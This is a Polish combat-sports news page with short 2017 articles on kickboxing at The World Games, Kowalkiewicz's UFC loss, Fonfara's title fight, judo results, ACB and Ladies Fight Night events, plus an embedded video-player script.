Wielka arena, tysiące kibiców, błysk fleszy i zaczęli. Ruszyli. Walczą, ogromne emocje, wspaniałe akcje i wysoka stawka rywalizacji. Kickboxing to niezwykle efektowna sztuka walki, która stopniowo przebija się do świadomości społecznej. Do coraz większego grona odbiorców w Polsce docierają gale, na których zawodnicy rywalizują w formule K-1. Ale nadal potrzebna jest ciężka praca, aby kickboxing zagościł nie tyle w sercach ludzi, co początkowo było rozpoznawalny. Milowym krokiem na drodze do tego celu mają być Igrzyska Sportów Nieolimpijskich – The World Games 2017. Do Wrocławia przyjadą setki kibiców żądnych sportowych wrażeń. Również Polacy będą mogli odkryć dyscypliny, o których nigdy nie słyszeli albo wiedzą, że coś dzwoni, ale nie wiedzą, w którym kościele.
Kickboxing. W każdej kategorii wagowej wystąpi po osiem zawodniczek i zawodników. Margines błędu jest niewielki, a tak naprawdę nie ma miejsca na najmniejszą pomyłkę. Zwycięstwo daje awans do półfinału. Trzy triumfy pozwolą sięgnąć złoty medal. W każdej sekundzie zawodnik musi być w pełni skoncentrowany. Trudno będzie wcześniej rozpracować rywali. Bo o ile biało-czerwoni znają tych z Europy, to gorzej jest w przypadku zawodników pochodzących z innych kontynentów. Jednak należy podkreślić, że umiejętności Polaków stoją na wysokim poziomie.
Trzy waleczne panie
We Wrocławiu zaprezentują się trzy reprezentantki Polski. Na swojej ziemi wystąpi 28-letnia Róża Gumienna, która tylko w tym roku triumfowała w Pucharze Świata K-1 w Inssbrucku i wywalczyła pas mistrzyni FEN w wadze piórkowej. We Wrocławiu zaprezentuje się również kolejna reprezentantka miejscowego Fightera Małgorzata Dymus (56kg). Na swoim koncie zapisała m.in. tytuł zawodowej mistrzyni świata w K-1 federacji WAKO PRO 2013 w Turcji, mistrzostwo Europy seniorów w K-1 WAKO 2016 i wiele medali mistrzostw Polski. Ostatnio rywalizowała na gali Ladies Fight Night w Poznaniu.
W tym roku Marta Waliczek (60kg) dołączyła do klubu DAAS Berserkers Team Bielsko-Biała. Krok ten ma ją przygotować do startu we Wrocławiu, a także występów w formule MMA. W tym roku Waliczek zdobyła w LEgnicy mistrzostwo Polski K-1. Pierwszy znaczący sukces zawodniczka odniosła w 2011 roku, kiedy w Skopje wywalczyła tytuł mistrzyni świata w kick-light. Od tamtego czasu regularnie zdobywa medale na najważniejszych imprezach.
W lipcowych Igrzyskach Sportów Nieolimpijskich Polskę w rywalizacji kickboxerskiej będą również reprezentować: Marcin Kret (71kg), Michał Ronkiewicz (75kg), Arkadiusz Kaszuba (81kg), Dawid Kasperski (86kg), Mateusz Pluta (91kg) i Michał Turyński (+91kg).
Fot. PZKb Facebook
KM
Przygotowania kadry Polski w kickboxingu do Igrzysk The World Games w Ośrodku Przygotowań Olimpijskich w Wiśle.
[kod]
Karolina Kowalkiewicz musiała przełknąć gorzką pigułkę w Rio de Janeiro. 31-letnia łodzianka docenia klasę swojej rywalki i przeprasza kibiców.
Dla polskiej wojowniczki była to druga porażka w karierze, a zarazem kolejny przegrany pojedynek w UFC. Wcześniej Kowalkiewicz poległa w starciu o pas z Joanną Jędrzejczyk.
Trudna sytuacja
Dla Karolina Kowalkiewicz to zupełnie nowa sytuacja, w której musi się odnaleźć. Przed ponad cztery lata pozostawała niepokonana w MMA, jednak w listopadzie ubiegłego roku przegrała z Joanną Jędrzejczyk. W sobotę (3 czerwca) rywalizowała o pierwsze miejsce w wadze słomkowej i kolejną szansę na walkę o pas. Gadelha szybko wykorzystała swoje atuty. W parterze szybko zdobyła plecy Kowalkiewicz i ta musiała odklepać. Miało być inaczej. – Smutek, żal, złość, gniew, rozczarowanie-nie ma odpowiednich słów żeby opisać to co teraz czuję… Kocham to co robię, kocham MMA i nic tego nie zmieni, będę trenowała i walczyła dalej, i zapewniam Was, że do kolejnej walki wyjdę jak zawsze, uśmiechnięta – napisała Karolina Kowalkiewicz na swoim facebooku.
Polka docenia klasę rywalki, która odniosła 15 zwycięstwa w karierze. 28-letnia Claudia Gadelha triumfowała po raz dziewiąty przed czasem. – Byłam naprawdę doskonale przygotowana do tego pojedynku i nie mam pojęcia co tam się stało. Po prostu Claudia była lepsza i to nie był mój dzień. Chciałam jej jeszcze raz bardzo pogratulować i podziękować za walkę. Jesteś niesamowitym sportowcem i wspaniałym człowiekiem i to był dla mnie zaszczyt, że mogłam się z Tobą zmierzyć. Dostałam cenną lekcję – wyjaśnia Kowalkiewicz.
Ważne wsparcie
31-letnia łodzianka musi szybko „oczyścić” głowę i czekać na kolejne wyzwania. Zawsze uśmiechnięta i energiczna zawodniczka jest w stanie pokonać chwilę słabości. Zwłaszcza, że może liczyć na swoich bliskich i wiernych kibiców. To oni zawsze trzymają kciuki, są z nią w każdej chwili. – Kiedyś walczyłam tylko dla siebie, teraz walczę też dla Was, dlatego chciałam bardzo przeprosić wszystkich tych, których zawiodłam. Chciałam przeprosić moich trenerów, kolegów z STT, przyjaciół, rodzinę i wszystkich fanów, i jednocześnie chciałam Wam podziękować za ogromne wsparcie jakie od Was dostaje. Jesteście niesamowici, a ja jestem ogromną szczęściarą ze Was mam – podkreśla Polka występująca w UFC.
Fot. Karolina Kowalkiewicz Facebook
KM
Triumf Agaty Perenc (52kg) w Pucharze Europy w judo w Bukareszcie. Trójka Polaków otarła się o podium. Urszula Hofman (70kg), Beata Pacut (78kg) i Maciej Sarnacki (+100kg) uplasowali się na piątych miejscach. Z kolei w Pucharze Europy Juniorów w Leibnitz biało-czerwoni sięgnęli po dwa medale.
Bukareszt miał być jednym z kluczowych punktów przed mistrzostwami świata, która na przełomie sierpnia i września odbędą się w Budapeszcie.
Mogło być więcej
Ostatni raz Agata Perenc na podium międzynarodowych zawodów stała ponad rok temu. W Grand Prix w Ałmatach zajęła trzecie miejsce. 27-letnia judoczka przeżyła wyjątkowe chwile w Bukareszcie. W dwóch pierwszy walkach Perenc rozłożyła rywalki na łopatki i wygrała przed czasem. Polka pokonała Abbi Blackie i Roxanę Ioancę. W półfinale Perenc poprzeczkę wysoko zawiesiła Niemka Nieke Nordmeyer, jednak to judoczka Polonii Rybnik świętowała awans do rywalizacji o złoto. Tam czekała na nią groźna Giulia Pierucci. 20-letnia Włoszka ostatnio wygrała zawody w Dubrovniku i Uster. Finał zacięty, jednak Perenc zapisała na swoim koncie waza-ari i to dało jej triumf.
Swoich sił w Bukareszcie mogła spróbować Urszula Hofman (70kg). Polka powtórzyła swój najlepszy wynik, który osiągnęła dwa lata temu w Celje i Orenburgu, gdzie zajmowała piąte miejsca. Rywalizację w Bukareszcie rozpoczęła od wygranej, ale w kolejnej walce przegrała z Gemmą Howell. W repasażach Hofman poradziła sobie z Włoszką Alessandrą Prosdocimo, jednak w boju o brąz pomściła ją rodaczka Carola Paissoni. Coraz pewniej poczyna sobie Beata Pacut (78kg). W tym roku wywalczyła srebro w Pucharze Europy w Pradze. Blisko medalu Polka była również w Bukareszcie, jednak marzenia o trzecim miejscu z głowy wybiła jej Yahima Ramirez. Wcześniej 21-letnia Polka zanotowała dwa zwycięstwa i porażkę.
Kolejny raz Maciej Sarnacki (+100kg) uplasował się na piątym miejscu. W kwietniowych mistrzostwach Europy w Warszawie Polak był o krok od podium. Bój o medal przegrał z mistrzem olimpijskim Lukasem Krpalkiem. W Bukareszcie Sarnacki zaczął od dwóch szybkich wygranych, ale w półfinale i walce o brąz zabrakło mu szczęścia.
Aleksander Beta (66kg) i Patryk Ciechomski (90kg) zakończyli zawody na siódmych pozycjach.
Zabrakło tylko złota
Juniorzy wybrali się do Leibnitz i wywalczyli dwa medale. Do pełni szczęścia zabrakło tego z najcenniejszego kruszcu.
19-letnia Julia Kowalczyk w tym roku błysnęła już w rywalizacji seniorskiej. W Grand Slam w Baku zajęła trzecie miejsce, a później wystartowała w mistrzostwach Europy w Warszawie i zdobyła z kadrą srebrny medal. Leibnitz okazało się również szczęśliwe dla Polki. Kowalczyk wygrała trzy walki, jednak na półfinał zabrakło jej paliwa. Odrodziła się w starciu o brąz i pokonała Verę Zemanovą.
Dominik Majowski (100kg) dotarł do finału, jednak nie udało mu się sprostać mistrzostw świata kadetów z 2015 roku. Simeon Catharina potrzebował blisko dwóch minut, aby pokonać Polaka.
KM
Scenariusz był prosty: Karolina Kowalkiewicz i Andrzej Fonfara bohaterami pierwszego weekendu czerwca. Polka występująca w UFC miała wykonać krok w stronę kolejnej walki o pas mistrzowski w wadze słomkowej. Z kolei Fonfara marzył o tytule czempiona WBC w kategorii półciężkiej. „A miało być tak pięknie…”
Rio de Janeiro i Montreal nie są polskie. Nie udało się. Smutek, żal i rozczarowanie – takie uczucia najczęściej obecne są po porażkach. Kowalkiewicz i Fonfara muszą się z nich otrząsnąć i czekać na kolejne wyzwania.
Druga porażka z rzędu
Karolina Kowalkiewicz miała świetny start w UFC. W debiucie pokonała Randę Markos, a w kolejnych walkach uporała się z Heather Clark i Rose Namajunas. Nagrodą za dobrą postawę było starcie o mistrzostwo wagi słomkowej z Joanną Jędrzejczyk. Łodzianka starała się być równorzędną rywalką dla olsztynianki, ale po pięciu rundach musiała pogodzić się z porażką. Pierwszą w karierze. Przegrała z Jędrzejczyk, która na przestrzeni kilku miesięcy stała się gwiazdą UFC. Cieszyliśmy się, że mamy w najlepszej organizacji MMA na świecie kolejną zawodniczkę na wysokim poziomie.
Prawdziwym testem dla Kowalkiewicz miało być starcie na UFC 212 z Claudią Gadelhą. Groźną Brazylijką, która już dwa razy atakowała pas mistrzowski i Jędrzejczyk odprawiała ją z kwitkiem. Wywodząca się z jiu-jitsu Brazylijka w parterze potrafi wyczyniać cuda, ale Polka zapewniała, że dobrze przygotowała się do rywalizacji. – To będzie dobry dzień – pisała kilka godzin przed walką. Nie był.
Początek starcia wyglądał obiecująco. Kowalkiewicz trafiła rywalkę kilkoma ciosami prostymi, jednak ta szybko odpowiedziała. W klinczu Gadelha uderzyła Polkę łokciem, a następnie poszła po obalenie. Jak się okazało, był to początek kłopotów Kowalkiewicz. Gadelha wykorzystała swoje atuty i szybko poszła za plecy i zapięła duszenie. Po nieco ponad trzech minutach walki było po wszystkim. Kowalkiewicz musiała odklepać.
31-letnia Polka tym samym nie wywalczyła pierwszej pozycji w rankingu wagi słomkowej i perspektywa walki o pas oddaliła się. Teraz czeka ją ciężka praca nad odbudowaniem pozycji w UFC.
Warto dodać, że w Rio doszło do starcia o pas wagi piórkowej. W trzeciej rundzie Max Holloway zastopował Jose Aldo.
Kolejna szansa niewykorzystana
Teraz czas na boks i „Polskiego Księcia”, który miał stać się królem. Historia układała się w bajeczną całość, ale szybko prysła niczym bańka mydlana. Bardzo szybko…
Na kolejne spotkanie z Adonisem Stevensonem, Andrzej Fonfara czekał trzy lata. Polak chciał się zrewanżować za porażkę w Montrealu. W drodze do kolejnego starcia o pas pokonał mocnych rywali m.in. Nathana Cleverly'ego i Chada Dawsona. Upłynęło nieco czasu, Stevenson postarzał się, a Fonfara nabrał doświadczenia. Wydawało się, że szybkość i zwrotność będą atutem „Polskiego Księcia”, jednak czempion WBC pokazał, że „stary wilk” potrafi.
Takiego scenariusza nikt się nie spodziewał, choć sam Stevenson otwarcie mówił, że dwunastu rund nie będzie. Już w pierwszej odsłonie, po początkowych atakach Polaka, mistrz wyprowadził lewy prosty. Fonfara zamroczony, sędzia musiał liczyć „Polskiego Księcia”. Stevenson dopadł go w narożniku, jednak 29-latka uratował gong. Kanadyjczyk urodzony na Haiti był zdeterminowany. Od początku drugiej rundy ruszył na Fonfarę i nie dał mu żadnych szans. Stevenson jak zaprogramowana maszyna wyprowadzał kolejne ciosy, masakrował Fonfarę i trener w końcu zdecydował się przerwać pojedynek. Upłynęło zaledwie 28 sekund…
Fonfara musi odłożyć plany na bok. Druga szansa mistrzowska przeszła mu koło nosa. Stevenson zaskoczył Polaka niczym Jose Smith Jr., z który Fonfara przegrał rok temu w pierwszej rundzie. Piąta porażka „Polskiego Księcia”, druga w starciu o pas. Czy dostanie kolejną szansę, aby stać się królem?
KM
Gdańsk będzie żył MMA. Najpierw ogłoszono, że 21 października w Ergo Arenie odbędzie się gala UFC. Ale zanim najlepsza organizacja MMA na świecie zawita do Gdańska, odwiedzi go federacja ACB. 1 lipca Rosjanie zaprezentują wydarzenie numer 63.
Na miesiąc przed galą zdecydowano o jej przeniesieniu. Pierwotnie gala ACB 63 miała odbyć się w Newcastle, ale w związku z zagrożeniem terrorystycznym na Wyspach Brytyjskich, podjęto decyzję o zmianie lokalizacji. Wybór padł na Gdańsk.
Piąty raz na polskiej ziemi
Pięć lat ma organizacja Absolute Championship Berkut i po raz piąty pojawi się w Polsce. Zaczęło się w Płocku, później była Warszawa, a następnie Olsztyn. W stolicy Warmii i Mazur władzom ACB bardzo się spodobało. Pierwszą galę zorganizowali we wrześniu ubiegłego roku, kolejną w lutym br. Na ACB 53 wystąpiło kilku Polaków. W walce wieczoru Adrian Zieliński pokonał na punkty Rasula Yakhayaeva. Tym samym 30-latek odniósł 17 zwycięstwo w karierze. Efektownie zaprezentował się Piotr Strus, który w drugiej rundzie odprawił Michaila Tsareva. Również Karol Celiński świętował zwycięstwo w Olsztynie. W drugiej rundzie w parterze zasypał ciosami Łukasza Parobca. Wygrał również Maciej Kaliński, który znalazł się w karcie wstępnej. Porażki zanotowali: Łukasz Szczerka, Rafał Czechowski, Jakub Wikłacz, Kamil Unruh, Paweł Karwowski i Patryk Wołodkiewicz.
ACB rozwija się i chce dołączyć do grona najlepszych. Rosyjska organizacja nie jest anonimowa, a zawodnicy zdobywają doświadczenie na jej galach, wydobywają się w okowów anonimowości i próbują swoich sił w UFC. Ostatnio Gadżuymrad Antigułow.
Również Polacy odgrywają pierwszoplanowe role na galach ACB. Michał Andryszak, Karol Celiński, Przemysław Misiała czy Piotr Strus to tylko niektórzy z wojowników pojawiających się na galach rosyjskiej organizacji. W marcu w Manchesterze zaprezentował się mistrz KSW w wadze średniej Mamed Khalidow, który w 21 sekund uporał się Lukiem Barnattem.
Będą u siebie
Zawodników z Polski nie brakuje na galach ACB, nie inaczej będzie i tym razem. W Gdańsku zaprezentuje się Karol Celiński, który szerszej publiczności dał się poznać podczas występów w KSW. 1 lipca rywalem Polaka będzie Vinny Magalhaes. Jeszcze blisko cztery lata temu Brazylijczyk rywalizował w UFC. Ostatnio można było go zobaczyć na WSOF 33, gdzie przegrał z Davidem Branchem.
W Ergo Arenie Piotr Strus będzie miał okazję, aby zrehabilitować się za porażkę na ACB 61 z Mikhailem Kolobegovem. Naprzeciw 28-latka stanie Andy DeVenta. Nie zabraknie również pojedynku polsko-polskiego. Debiut w klatce ACB zaliczy Piotr Hallmann, który ostatnio rywalizował na galach FEN. Jego rywalem będzie Adrian Zieliński.
Fot. acbmma.com
KM
Karolina Kowalkiewicz urzekła wszystkich swoją urodą i wdziękiem za sprawą zdjęć w bikini, które zamieściła w mediach społecznościowych. Czy po sobotnim (3 czerwca) starciu z Claudią Gadelhą, Rio de Janeiro będzie u stóp Polki?
Kolejne wyzwanie przed Karoliną Kowalkiewicz. Wygrana zapewni jej pierwszą pozycję w rankingu wagi słomkowej i da szansę na walkę o pas mistrzowski.
Zdobyć Rio
Obok tego zdjęcia nie można przejść obojętnie. Mężczyźni oszaleli na punkcie Karoliny Kowalkiewicz, która wrzuciła do sieci fotografię w bikini. Z pewnością trudno oderwać wzrok od zdjęcia urodziwej Polki. Męska część widowni została uraczona, ale Claudia Gadelha z tego powodu nie położy się przed Kowalkiewicz. Wiadomo, że Brazylijka może zazdrościć Polce urody, ale w oktagonie nie będzie ani krzty litości.
Na gali UFC 212 31-letniej łodziance przyjdzie się zmierzyć z zawodniczką z absolutnego topu. Claudia Gadelha wywodzi się z jiu-jitsu i zapisała na swoim koncie tytuły mistrzyni świata. Brazylijka przyszła do UFC z myślą zdominowania kategorii słomkowej. W debiucie uporała się z Tiną Lahdemaki, następnie trafiła na Joannę Jędrzejczyk, z którą stworzyła fantastyczne widowisko. Phoenix okazało się szczęśliwe dla Polki, która niejednogłośnie pokonała rywalkę na punkty i utorowała sobie drogę do starcia o pas.
O tym, że Gadelha mierzy w tytuł wiedzieli wszyscy. Ponownie zestawiono ją z Jędrzejczyk, która króluje w wadze słomkowej. Brazylijka miała ambitne plany, ale zabrakło jej paliwa. Po trzech rundach wyglądała zdecydowanie słabiej od Jędrzejczyk, która wygrała decyzją sędziów. Podrażniona 28-latka w listopadzie pokonała Cortney Casey i teraz zmierzy się z kolejną Polką – Karoliną Kowalkiewicz.
Co ciekawe, w Rio spotkają się zawodniczki, które podczas swojej przygody z MMA przegrywały tylko z… Jędrzejczyk. Kowalkiewicz ma na koncie jedną porażkę. W listopadzie na gali UFC 205 dostała szansę rywalizacji o pas. Na dystansie pięciu rund lepsza okazała się jednak mistrzyni.
W Rio należy spodziewać się interesującej walki. Spokojna, wyważona, ale i skuteczna Kowalkiewicz zmierzy się z agresywną i niebezpieczną Gadelhą. Zwyciężczyni wykona krok w stronę kolejnej walki o pas. Ta sytuacja pokazuje, że konkurencja w wadze słomkowej jest ograniczona. Jednak dla Kowalkiewicz to kolejna szansa, aby pokazać, że jej miejsce jest w UFC. Kibice muszą przygotować się na rywalizację na pełnym dystansie. Żadna z zawodniczek w przeciągu ostatnich trzech lat nie wygrała przed czasem.
Aldo na koniec
Rywalizacja Kowalkiewicz z Gadelhą poprzedzi walkę wieczoru, w której zmierzą się Jose Aldo i Max Holloway. Do pojedynku miało dojść na gali UFC 208, jednak Amerykanin doznał kontuzji stopy. O starciu Aldo z Holloway'em mówiło się już od dłuższego czasu.
Stawką walki wieczoru gali w Rio de Janeiro będzie tytuł mistrza wagi piórkowej. Aldo odzyskał pas pokonując Frankie'go Edgara. Zyskał możliwość walki o tytuł, po tym jak UFC odebrało go McGregorowi. Z kolei Holloway na UFC 206 zdobył tymczasowy pas wagi piórkowej. Amerykanin w trzeciej rundzie posłał na deski Anthony'ego Pettisa.
Czy to będzie powrót do chwały fenomenalnego Brazylijczyka? Aldo nie będzie miał łatwego zadania, Holloway wygrał dziesięć kolejnych walk.
Fot. Karolina Kowalkiewicz Facebook
KM
Zapowiedź gali Granda PRO 4 – Arena Wojowników. Tym razem Legia Fight Club zaprasza na warszawski Torwar już 9 czerwca 2017 r.. Start o godz. 20.00.
[kod]
Po raz drugi Andrzej Fonfara dostąpi szansy rywalizacji o pas mistrzowski WBC w wadze półciężkiej. Rywal ten sam, co trzy lata temu – Adonis Stevenson. Zdaniem bukmacherów, zdecydowanym faworytem starcia, które odbędzie się 3 czerwca jest niespełna 40-letni czempion.
„Polski Książę” ma jeden cel – chce zrewanżować się Kanadyjczykowi za porażkę sprzed trzech lat. Zwycięstwo da mu pas mistrza świata i pozwoli spełnić marzenia. Czy ten scenariusz jest realny?
Trudne zadanie
Montreal to miasto, w którym Stevenson czuje się znakomicie. Blisko cztery lata temu w Bell Center wywalczył mistrzostwo świata WBC pokonując Chada Dawsona. Reprezentant Kanady potężnie doświadczył Amerykanina, który padł na deski już w otwierającej rundzie. Wstał, jednak sędzia nie dopuścił go do dalszej rywalizacji.
W trzeciej obronie pasa urodzony na Haiti bokser zmierzył się w Montrealu z Andrzejem Fonfarą. Wydawało się, że walka zakończy się bardzo szybko. Już w pierwszej rundzie Polak znalazł się na deskach, jednak wstał i dotarł do gongu. Długo dominował Stevenson, jednak w siódmej odsłonie inicjatywę przejął Fonfara. W końcu 26-letni wtedy pięściarz miał swoją chwilę chwały i postraszył czempiona. Stevenson padł na deski w dziewiątej rundzie, ale w kolejnych prezentował się lepiej i wygrał decyzją sędziów.
Po ponad trzech latach panowie ponownie się spotkają. Tak jak i wtedy, faworytem będzie Stevenson. Fonfara ma większe doświadczenie i wypracował sobie mocną pozycję w wadze półciężkiej. Mimo to, czempion jest pewny swego. – Znam dobrze Fonfarę, bo walczyłem z nim dwanaście rund. On nie umie zmienić stylu. Być może poprawił się w obronie, ale po kilku rundach wrócą stare nawyki. Nie lekceważę go i będę należycie przygotowany – powiedział Adonis Stevenson.
Trzy lata temu Kanadyjczyk swoją słabszą dyspozycję i problemy tłumaczył kontuzją pleców. Wygrał, choć młodszy Fonfara go zaskoczył. 3 czerwca w Montrealu Stevenson trafi na dojrzalszego i w pełni ukształtowanego rywala. Fonfara będzie chciał zrealizować swoje marzenia, ale od początku musi się mieć na baczności. Wejście w walkę niejednokrotnie sprawiło problemy Polakowi.
Niespodziewana porażka
Po porażce ze Stevensonem, Fonfara z kwitkiem odprawił mocnych Julio Cesara Jr. i Nathana Cleverly'ego. Zarysował nieco swój obraz niespodziewaną porażką w starciu z Joe Smithem Jr. Amerykanin w pierwszej rundzie mocno przyłożył Polakowi, który nie był zdolny do kontynuowania walki. W marcu „Polki Książę” uporał się z byłym mistrzem WBC Chadem Dawnsonem.
Z kolei Stevenson, od wygranej z Fonfarą, triumfował w czterech walki. Trzy z nich zakończył przed czasem.
Fot. Facebook Andrzej Fonfara
KM
W Luboniu judocy rywalizowali o medale Pucharu Polski seniorek i seniorów. Najlepiej zaprezentowali się zawodnicy AZS AWF Warszawa. W najbliższy weekend (3-4 czerwca) reprezentanci Polski udadzą się do Bukaresztu, aby rywalizować w zawodach Pucharu Świata.
Po mistrzostwach Europy w Warszawie, najważniejszym startem dla naszych judoków są mistrzostwa świata, które na przełomie sierpnia i września odbędą się w Budapeszcie. Dla biało-czerwonych najbliższe miesiące będą czasem intensywnej pracy.
Warszawa dominuje
Trzy warszawskie kluby (AZS AWF Warszawa, AZS UW Warszawa i UKJ „Lemur” Warszawa) zdobyły siedem złotych medali w zawodach Pucharu Świata w Luboniu. Łącznie stołeczne zespoły wywalczyły 15 krążków. Na ten dorobek dodatkowo złożyły się zdobycze zawodników Gwardii, UKJ „ASzWoj Warszawa” i UKJ 225. W klasyfikacji medalowej triumfował AZS AWF, którego judocy zdobyli cztery złote (Joanna Stankiewicz, Gaga Szetekauri, Radosław Koszczyński, Oleksii Lysenko) oraz brąz (Jakub Ozimek).
W tym roku Piotr Kuczera triumfował w Pucharach Europy w Rzymie i Katowicach. Również Luboń okazał się szczęśliwy dla judoki KS Kejza Team Rybnik. W finale Kuczera pokonała Tomasza Szczepaniaka. Złote medale wywalczyły również wicemistrzynie Europy w drużynie Karolina Pieńkowska (52kg) oraz Anna Borowska (57kg). Idealny prezent na 18. urodziny sprawiła sobie Eliza Wróblewska (70kg), która w finale pokonała Julię Jaśkiewicz.
Wśród kobiet można narzekać na frekwencję, która w niektórych kategoriach była niska. W żadnej na starcie nie pojawiło się więcej niż 10 zawodniczek! Zgoła odmiennie wyglądała sytuacja u panów. W trzech kategoriach startowało 20 i więcej judoków. Najwięcej w wadze do 73kg – 27.
Teraz Bukareszt
Po krajowych emocjach, czas na walkę o punkty do światowego rankingu. Tym razem nasza kadra uda się na Puchar Europy do Bukaresztu. Warto wspomnieć, że Polacy trenują już pod okiem nowych trenerów. Za przygotowanie kobiet odpowiada Marian Tałaj, zaś mężczyznami zajmuje się Zbigniew Pacholczyk. Pomagają im niedawna rywalizujący na tatami – Łukasz Błach i Paweł Zagrodnik.
Start w Bukareszcie jest jednym z etapów przygotowań do mistrzostw świata w Budapeszcie.
W kadrze na Puchar Świata (3-4 czerwca) znaleźli się m.in.: Joanna Stankiewicz (48kg), Katarzyna Wiszniewska i Agata Perenc (52kg), Urszula Hofman (70kg), Beata Pacut i Paula Kułaga (78kg), Aleksander Beta (66kg), Wiktor Mrówczyński (73kg), Damian Szwarnowiecki, Jakub Kubieniec i Karol Kurzej (81kg), Patryk Ciechomski (90kg), Mariusz Krueger i Tomasz Domański (100kg), Maciej Sarnacki i Kamil Grabowski (+100kg).
KM
Zapraszamy na transmisję telewizyjną z Gali Granda PRO 4 – Arena Wojowników, która odbędzie się 9 czerwca 2017 na warszawskim Torwarze. Start transmisji od godz. 20.00.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPRO3.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPRO3.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPRO3.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPRO3.livx"
},
autofocus: false,
rendererPriority: ["dash", "html5", "silverlight"],
skin: "red",
// —
splashscreen: "http://r.dcs.redcdn.pl/file/o2/Marklaw/LegiaFightClub/GP4.jpg",
poster: "http://r.dcs.redcdn.pl/file/o2/Marklaw/LegiaFightClub/GP4.jpg",
autoplay: false,
// —
width: 640,
height: 385,
autoplay: false,
});
Po zwycięskim pojedynku w Dallas i kolejnej obronie pasa mistrzowskiego, najlepsza na świecie polska zawodniczka MMA wróciła do kraju i w połowie czerwca weźmie udział w obozie sparingowym Ladies Fight Night – JJCamp. Joanna Jędrzejczyk poprowadzi treningi najzdolniejszych polskich fighterek jedynej w Europie żeńskiej organizacji sportów walki, otwierające przygotowania do kolejnej gali LFN. Treningi w Łodzi będą także okazją do spotkania „oko w oko” z przeciwniczką, z którą Asia debiutowała w MMA.
JJCamp w Łodzi
Obóz sparingowy LFN Team już po raz drugi odbędzie się w Łodzi, gdzie w 2015 roku powstał projekt Ladies Fight Night. W dniach 15-18 czerwca, zawodniczki żeńskiej organizacji będą trenowały w Fight Club Łódź, szlifując formę przed kolejną galą LFN. Mocnym akcentem sportowym obozu będą treningi z Mistrzynią Świata MMA Joanną Jędrzejczyk.
– JJCamp i współpraca z Asią to konsekwentne dążenie do zapewnienia naszym zawodniczkom tego co najlepsze. Cieszymy się, że dziewczyny z LFN Team będą mogły wymienić doświadczenia sportowe z najlepszą zawodniczką MMA na świecie. – mówi Łukasz Chmal, prezes organizacji Ladies Fight Night. – Zaplanowaliśmy cztery wspólne sesje treningowe, dwie w piątek i kolejne w sobotę. Wierzymy, że zaowocuje to jeszcze wyższym poziomem sportowym naszych gal i świetnymi walkami dziewczyn w klatkoringu. – dodaje Łukasz Chmal.
Spotkanie po latach Jędrzejczyk vs Juśkiewicz
Joanna Jędrzejczyk debiutowała w zawodowym pojedynku MMA 19 maja 2012 roku. Jej przeciwniczką była również debiutantka, dziś zawodniczka LFN Team, Sylwia Juśkiewicz. Po dwurundowej walce sędziowie orzekli wtedy zwycięstwo na punkty obecnej Mistrzyni Świata. Po pięciu latach Joanna Jędrzejczyk i Sylwia Juśkiewicz znów będą miały okazję spotkać się w kalatkoringu, tym razem podczas sesji treningowych. Od czasu debiutu Sylwia „Mała” Juśkiewicz (6-4) stoczyła 9 pojedynków w MMA. Podczas ostatniej gali Ladies Fight Night „Five Points” w Poznaniu, „Mała” dała widowiskowy popis swoich umiejętności, pewnie pokonując swoją rywalkę z Ukrainy. Sama o sobie mówi, że chce być najlepsza, a pojedynek z Jędrzejczyk przegrała tylko jednym punktem.
Gala Ladies Fight Night „IRA” w sierpniu
Obóz treningowy w Łodzi rozpocznie przygotowania do szóstej gali organizacji Ladies Fight Night zatytułowanej „Ira”, co po łacinie znaczy „gniew”. Po udanych organizacyjnie i sportowo eventach w Łodzi, Warszawie, Karpaczu i Poznaniu włodarze zapowiadają teraz letnie spotkanie z fanami kobiecego MMA i K-1 nad morzem. Gala planowana jest na drugą połowę sierpnia.
Za ideą stworzenia Ladies Fight Night, pierwszej w Europie żeńskiej organizacji sportów walki, stało przeświadczenie włodarzy o konieczności dania kobietom pola do występów – szerszego niż tylko incydentalne pojedynki na galach w Polsce. – Taka sytuacja jeszcze dwa lata temu, powodowała, że większość utalentowanych sportowo dziewcząt – takich jak Joanna Jędrzejczyk – musiało szukać szczęścia za granicą. Dziś mogą zdobywać doświadczenie w kraju. – mówi Łukasz Chmal.
Ladies Fight Night
Już tego lata federacja Fight Exclusive Night zorganizuje pierwszy w swojej historii obóz treningowy dla młodych adeptów MMA i K-1. Pod koniec sierpnia na Mazurach szkolić ich będą czołowi zawodnicy FEN Kamil Łebkowski i Arkadiusz Wrzosek oraz znakomici trenerzy Igor Kołacin i Krzysztof Drzazgowski.
FEN Summer Camp odbędzie się w dniach 20-28 sierpnia w Jakubowie koło Mrągowa, w ośrodku sportowym doskonale przystosowanym do treningów mieszanych sztuk walki i kick-boxingu. Mimo wakacyjnej pory jego uczestników, podzielonych na dwie grupy: MMA i K-1, czekają bardzo intensywne zajęcia. Codziennie przewidziane są 2-3 treningi, rozpisane w taki sposób, aby każdy z obozowiczów mógł do maksimum skorzystać z wiedzy i doświadczenia prowadzących.
Treningi poprowadzą znakomici szkoleniowcy: weteran sportów walki Igor Kołacin, były zawodowy mistrz Europy w sanda i zdobywca Pucharu Świata w karate full-contact, który od lat z powodzeniem szkoli czołówkę polskich kickbokserów, oraz Krzysztof Drzagowski, trener boksu znany ze współpracy z wieloma zawodowymi pięściarzami, m.in. Mariuszem Wachem i Ewą Brodnicką. Tajemnice swojego warsztatu uczestnikom FEN Summer Camp zdradzać będą też gwiazdy federacji FEN: Kamil Łebkowski, jeden z najlepszych zawodników MMA wagi piórkowej w Europie, oraz Arkadiusz Wrzosek, aktualny mistrz świata K-1 Global i mistrz Europy w muay thai.
Obóz w Jakubowie odwiedzą również goście, wśród których nie zabraknie innych wojowników MMA i K-1, związanych z organizacją FEN. Na Mazurach pojawią się także podopieczni trenera Drzazgowskiego, zawodowi bokserzy Norbert „Noras” Dąbrowski i Sergei Werwejko. Ponadto przez cały czas trwania obozu trenujących zawodników uważnie obserwować będą włodarze Fight Exclusive Night, będzie to więc dla każdego niepowtarzalna szansa zaprezentowania swego talentu i umiejętności, która może zaowocować propozycją występu na jednej z kolejnych gal tej federacji.
